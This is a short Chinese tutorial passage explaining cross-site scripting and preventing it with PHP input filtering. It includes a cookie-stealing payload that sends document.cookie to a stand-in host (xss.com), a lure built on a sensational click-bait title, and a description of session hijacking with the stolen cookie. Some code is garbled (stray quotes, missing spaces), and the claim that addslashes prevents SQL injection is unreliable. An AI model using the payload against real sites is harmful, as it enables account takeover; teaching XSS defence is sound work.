HTML是一种超文本标记语言,通过将一些字符特殊地对待来区别文本和标记,例如,小于符号(<)被看作是HTML标签的开始,<title>与</title>之间的字符是页面的标题等等。当动态页面中插入的内容含有这些特殊字符(如<)时,用户浏览器会将其误认为是插入了HTML标签,当这些HTML标签引入了一段JavaScript脚本时,这些脚本程序就将会在用户浏览器中执行。所以,当这些特殊字符不能被动态页面检查或检查出现失误时,就将会产生XSS漏洞。
当然偶会将标题设计的非常吸引人点击,比如“陈冠希艳照又有流出2012版(20P无码)”,这样如果偶将里面的alert换成恶意代码,比如:
location.href=’http://www.xss.com?cookie=’+document.cookie’;或者<ahref=’http://www.xss.com?cookie=’+document.cookie>。用户的cookie偶也拿到了,如果服务端session没有设置过期的话,偶以后甚至拿这个cookie而不需用户名密码,就可以以这个用户的身份登录成功了。
预防XSS攻击
从根本上说,解决办法是消除网站的XSS漏洞,这就需要网站开发者运用转义安全字符等手段,始终把安全放在心上。
简单点,就是过滤从表单提交来的数据,使用php过滤函数就可以达到很好的目的。
htmlspecialchars()函数
代码实例:
<?php
if(isset($_POST[‘name’])){
$str=trim($_POST[‘name’]);//清理空格
$str=strip_tags($str);//过滤html标签
$str=htmlspecialchars($str);//将字符内容转化为html实体
$str=addslashes($str);//防止SQL注入
echo$str;
}
?>
<formmethod=”post”action=””>
<inputname=”name”type=”text”>
<inputtype=”submit”value=”提交”>
</form>
具体操作无法一一写出,需要你边实践边摸索